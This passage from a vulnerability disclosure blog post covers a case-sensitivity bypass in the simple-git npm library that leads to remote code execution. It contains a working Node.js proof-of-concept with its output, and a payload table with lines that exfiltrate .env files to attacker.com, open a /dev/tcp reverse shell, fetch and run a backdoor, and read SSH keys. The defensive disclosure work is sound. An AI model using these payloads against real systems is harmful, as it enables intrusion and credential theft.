  '-c', 'protocol.ext.allow=always',   // lowercase - caught by regex
]).catch((e) => {
  console.log('[Vector 1] Original CVE-2022-25912 (lowercase):');
  console.log('  ext:: executed:', fs.existsSync('/tmp/pwn-original')
    ? 'PWNED ⚠️' : 'not created');
  console.log('  Result: BLOCKED ✅');
  console.log('  Error:', e.constructor.name);
  console.log();
});

// ── Vector 2 - Bypass via UPPERCASE - VULNERABLE ──────────────────────────
// The fix regex /^\\s*protocol(.[a-z]+)?.allow/ is case-sensitive.
// Git normalises config key names to lowercase internally.
// Uppercase variant passes the check; git enables ext:: and executes.
git.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [
  '-c', 'PROTOCOL.ALLOW=always',       // uppercase - NOT caught by regex
]).catch((e) => {
  console.log('[Vector 2] Uppercase bypass (PROTOCOL.ALLOW=always):');
  console.log('  ext:: executed:', fs.existsSync(SENTINEL)
    ? 'PWNED ⚠️ - ' + SENTINEL + ' created' : 'not created');
  console.log('  Result:', fs.existsSync(SENTINEL)
    ? 'BYPASSED ⚠️ - RCE confirmed' : 'BLOCKED ✅');
  console.log();
});

// ── Vector 3 - Real-world scenario ────────────────────────────────────────
// An application cloning a repo with user-controlled customArgs.
// Attacker injects PROTOCOL.ALLOW=always and a malicious ext:: URL.
const SENTINEL_RW = '/tmp/pwn-realworld';
try { fs.unlinkSync(SENTINEL_RW); } catch (_) {}

const userArgs = ['-c', 'PROTOCOL.ALLOW=always'];
const attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% >&2';

simpleGit().clone(
  attackerURL,
  '/tmp/codeant-quality-gates',
  userArgs
).catch(() => {
  console.log('[Vector 3] Real-world scenario (attacker-controlled args + URL):');
  console.log('  ext:: executed:', fs.existsSync(SENTINEL_RW)
    ? 'PWNED ⚠️ - ' + SENTINEL_RW + ' created' : 'not created');
  console.log('  Result:', fs.existsSync(SENTINEL_RW)
    ? 'BYPASSED ⚠️ - RCE confirmed' : 'BLOCKED ✅');
  console.log();

  // Summary
  setTimeout(() => {
    console.log('=== Summary ===');
    console.log('#  Vector                              Payload                          Result');
    console.log('1  CVE-2022-25912 original             protocol.ext.allow=always        Blocked ✅');
    console.log('2  Case-sensitivity bypass             PROTOCOL.ALLOW=always            ' +
      (fs.existsSync(SENTINEL) ? 'RCE ⚠️' : 'Blocked ✅'));
    console.log('3  Real-world app scenario             PROTOCOL.ALLOW=always + ext::    ' +
      (fs.existsSync(SENTINEL_RW) ? 'RCE ⚠️' : 'Blocked ✅'));
  }, 500);
});

Output:

$ timeout 45s node poc.js

[Vector 1] Original CVE-2022-25912 (lowercase):
  ext:: executed: not created
  Result: BLOCKED ✅
  Error: GitPluginError

[Vector 2] Uppercase bypass (PROTOCOL.ALLOW=always):
  ext:: executed: PWNED ⚠️ - /tmp/pwn-codeant created
  Result: BYPASSED ⚠️ - RCE confirmed

[Vector 3] Real-world scenario (attacker-controlled args + URL):
  ext:: executed: PWNED ⚠️ - /tmp/pwn-realworld created
  Result: BYPASSED ⚠️ - RCE confirmed

=== Summary ===
#  Vector                              Payload                          Result
1  CVE-2022-25912 original             protocol.ext.allow=always        Blocked ✅
2  Case-sensitivity bypass             PROTOCOL.ALLOW=always            RCE ⚠️
3  Real-world app scenario             PROTOCOL.ALLOW=always + ext::    RCE ⚠️

[exit_code]

Vector 1 confirms the original fix works - lowercase protocol.ext.allow=always is blocked. Vectors 2 and 3 confirm the bypass - uppercase PROTOCOL.ALLOW=always sails through, and the ext:: command executes. Full RCE on the first try.

What the Attacker Can Do

Once the ext:: protocol is enabled, the attacker can execute any OS command as the Node.js process user:

Goal

Payload

Read sensitive files

ext::sh -c cat% /etc/passwd% >&2

Exfiltrate secrets

ext::sh -c curl% -d% @/app/.env% attacker.com% >&2

Reverse shell

ext::sh -c bash% -i% >%26% /dev/tcp/attacker/4444% 0>%261% >&2

Install malware

ext::sh -c curl% attacker.com/backdoor\|sh% >&2

Lateral movement

ext::sh -c cat% ~/.ssh/id_rsa% >&2

This is full remote code execution with the privileges of the running Node.js process.

Blast Radius: 12 Million Weekly npm Downloads, 73% Still Vulnerable

simple-git is one of the most widely-used Git libraries in the entire Node.js ecosystem:

Metric

Value

Weekly npm downloads

12,410,544

GitHub dependents (repositories)

322,686

npm dependents (packages)

9,032

Total dependents (deps.dev)

6,930

The fix shipped in v3.32.3 on February 26, 2026. As of the time of writing, 73% of all simple-git downloads - approximately 9 million installs per week - are running vulnerable versions.

Why is adoption so slow? Because CVE-2026-28292 has not been published to the NVD. The advisory (GHSA-r275-fr43-pm7q) is accepted but not yet public. Until it is:

  • npm audit does not flag it

  • Dependabot does not create upgrade PRs

  • Renovate does not flag it

  • Snyk CLI does not detect it

  • No SCA tool on the market catches this

This is exactly the detection gap our research aims to expose. A CVE can be assigned, a fix can be released, and yet 73% of the ecosystem remains blind because the advisory hasn’t propagated to the vulnerability databases that automated tools rely on.

Notable Dependents at Risk

Project

GitHub Stars

Risk Surface

n8n-io/n8n

178,000+

Git operations in user-defined workflows

scullyio/scully

2,544

Git clone during build

realm/realm-studio

338

Git operations in app

Various CI/CD tools

-

Clone user-specified repos with custom args

Any application that accepts user-controlled Git arguments - via API endpoints, form inputs, configuration files, or workflow definitions - is directly exploitable.

Why This Matters: CWE-178 Case-Sensitivity Mismatches in Security Controls

This vulnerability is a specific instance of CWE-178: Improper Handling of Case Sensitivity - a class of vulnerability where a security control and the system it protects disagree about case sensitivity.

The security control (simple-git’s regex) is case-sensitive. The underlying system (Git) is case-insensitive. Any time there is a mismatch like this, an attacker can exploit the gap by using a case variant that passes through the control but is still honoured by the system.

This pattern appears across security boundaries everywhere:

  • WAFs that check for <SCRIPT> but miss <ScRiPt> - browsers are case-insensitive for HTML tags

  • Auth systems that check for admin but miss Admin - databases may use case-insensitive collation

  • File systems that block ..\\\\windows\\\\system32 but miss ..\\\\WINDOWS\\\\System32 - NTFS is case-insensitive

In each case, the fundamental error is the same: the filter’s case model doesn’t match the target system’s case model. A regex that checks [a-z] while guarding a system that treats A and a identically is not a filter - it’s a gate with a sign that says “please use lowercase.”

This is not a simple-git-specific problem. It’s a pattern. Code that handles the expected input but not the spec-allowed input shows up everywhere - in regex-based security filters, in path traversal protections, in deserialization guards. The fix addresses the reported attack vector. But nobody steps back and asks: what else does this code path allow?

We’ve been asking that question across npm, PyPI, Maven, and NuGet. Last week it was pac4j-jwt. This week it’s simple-git. The rest are coming.

Detection Gap: npm audit, Snyk, Dependabot, Semgrep All Miss CVE-2026-28292

We tested every major security tool against this vulnerability:

Tool

Detects CVE-2026-28292?

Why?

CodeAnt AI

Yes

AI-assisted analysis of prior CVE fix quality

npm audit

No ❌

CVE not yet in NVD/npm advisory database

Snyk

No ❌

Same - awaiting advisory publication

Dependabot

No ❌

Same

Semgrep

No ❌

No rule for case-sensitive regex in security contexts

SonarQube

No ❌

No rule for case-sensitivity mismatches

ESLint security plugins

No ❌

No awareness of Git’s case behaviour

The gap is structural. Traditional SCA tools match dependency versions against known CVE databases. If the CVE isn’t published, the tool is blind. Traditional SAST tools check for code patterns, but no existing rule captures “regex for security check is case-sensitive while the target system is case-insensitive.”

This is why CodeAnt AI’s approach - re-examining prior CVE patches with AI-assisted reasoning - catches vulnerabilities that every other tool misses. The AI understands that [a-z] in a regex guarding against a case-insensitive system is a semantic mismatch, not just a syntax issue.

The Disclosure: Four Days from Report to Fix

We reported the vulnerability via GitHub Private Vulnerability Reporting on February 22, 2026. Full technical details, PoC, root cause analysis - everything you’ve read in this post.

The maintainer, Steve (steveukx), opened a fix PR within three days, the advisory was accepted, and the fix shipped in v3.32.3 on February 26. CVE-2026-28292 was assigned by GitHub staff the following day.

Four business days. Report to patch to CVE assignment.

A Note on Open Source Maintainers

This needs to be said every time, because it’s true every time: open-source maintainers are doing extraordinary work, and they rarely get the credit they deserve.

Steve maintains simple-git - a library that 12 million installs per week depend on. When our team reported a critical bypass of two prior security fixes, he treated it with urgency and professionalism. The fix was clean, the tests were expanded, and the release was prompt.

We said this last week about Jérôme and pac4j, and we’ll say it again: open-source maintainers carry the weight of the modern software supply chain. They deserve more than our bug reports. They deserve our respect, our gratitude, and our support. If your company depends on simple-git - or any open-source project - consider sponsoring the maintainer. These are the people standing between your production systems and the next critical vulnerability, and most of them are doing it for free.

Steve, thank you.

Timeline

Date

Event

2022

CVE-2022-25912 - Original ext:: protocol RCE discovered and patched

2022

CVE-2022-25860 - First bypass discovered and patched

February 22, 2026

Vulnerability flagged by CodeAnt AI code reviewer; confirmed by security engineer and PoC verified

February 22, 2026

Reported via GitHub Private Vulnerability Reporting (GHSA-r275-fr43-pm7q)

February 25, 2026

Maintainer (steveukx) opens fix PR #1128

February 25, 2026

Advisory accepted by maintainer

February 26, 2026

Fix merged and released as v3.32.3

February 27, 2026

CVE-2026-28292 assigned by GitHub staff

Pending

Public NVD publication

Are You Affected?

Step 1: Check if you depend on simple-git

npm ls

If you see any version below 3.32.3, you are vulnerable.

Step 2: Check if user input reaches simple-git

Search your codebase for patterns where user-controlled values could reach simple-git method arguments:

grep -rn -E "simpleGit|simple-git" --include="*.js" --include="*.ts" | grep -E "clone|fetch|pull|push|raw"

You’re at highest risk if:

  • Your application accepts repository URLs from users

  • Your application passes user-controlled options or custom arguments to simple-git methods

  • You run simple-git in CI/CD pipelines that clone user-specified repositories

Step 3: Update

npm

Verify the upgrade:

npm ls simple-git
# Should show 3.32.3 or higher

If you cannot upgrade immediately, audit every code path where user input reaches simple-git arguments. Never pass user-controlled values directly to customArgs or raw(). Validate and sanitise explicitly - do not rely solely on simple-git’s built-in plugin.

Two Critical CVEs in One Week

Last week we published CVE-2026-29000 - a CVSS 10.0 authentication bypass in pac4j-jwt, where an attacker could forge admin tokens using nothing but a public key. This week, CVE-2026-28292 - a CVSS 9.8 RCE in simple-git, where changing a single letter to uppercase bypasses two prior security fixes.

Different ecosystems. Different vulnerability classes. Same root cause: the patch fixed the reported attack vector, not the vulnerability.

This is what our research program keeps finding. Patches are written under time pressure. They fix the exact reproduction case from the bug report. They rarely account for all the ways an attacker can vary the input. And once a CVE is marked as “fixed,” nobody goes back to check.

We do. And our AI code reviewer is how we do it at scale. It doesn’t just pattern-match against known CVEs - it reasons about whether a security control actually achieves what it claims to. A regex that uses [a-z] to guard against a case-insensitive system isn’t a known CVE pattern. It’s a semantic mismatch. That’s what AI catches and rule-based tools don’t.

This research is part of an ongoing effort by CodeAnt AI Security Research to audit whether CVE patches in widely-used open-source packages actually fix the underlying vulnerability. We believe the open-source ecosystem deserves better tools, better auditing, and more support for the maintainers who keep it running. More findings will be published as patches ship and coordinated disclosure timelines are met.

If you are a maintainer and have been contacted by our team - thank you for your work. If you believe your package may be affected by a similar pattern, we’d love to help: securityresearch@codeant.ai

FAQs

What is CVE-2026-28292?

What versions of simple-git are affected?

Who discovered CVE-2026-28292?

How do I check if my application is vulnerable?

How do I fix CVE-2026-28292?

What is the relationship between CVE-2026-28292, CVE-2022-25912, and CVE-2022-25860?

See if you are affected

Enter your simple-git version. You can find it by running npm ls simple-git in your project.

Table of Contents